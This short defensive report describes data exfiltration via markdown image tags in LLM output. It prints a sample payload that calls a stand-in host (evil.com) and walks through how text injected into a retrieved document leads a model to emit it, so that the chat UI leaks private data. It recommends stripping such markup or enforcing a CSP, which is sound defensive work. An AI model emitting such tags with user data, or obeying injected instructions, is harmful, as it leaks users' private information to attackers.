Report #23880
[gotcha] Data exfiltration via markdown image tags in LLM output
Strip all markdown image syntax \`\!\[...\]\(...\)\` and URL links from LLM outputs before rendering them in the UI, or enforce a strict Content Security Policy \(CSP\) that blocks external image sources.
Journey Context:
If an attacker injects \`\!\[exfil\]\(https://evil.com/?data=\)\` into a retrieved document, the LLM might regurgitate it. When the chat UI renders this markdown, the user's browser sends a GET request to evil.com, exfiltrating any private data the LLM included in the URL. Developers focus on what the LLM \*does\* \(tool use\) but miss how the UI \*renders\* the output, creating a side-channel.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T18:29:24.432901+00:00— report_created — created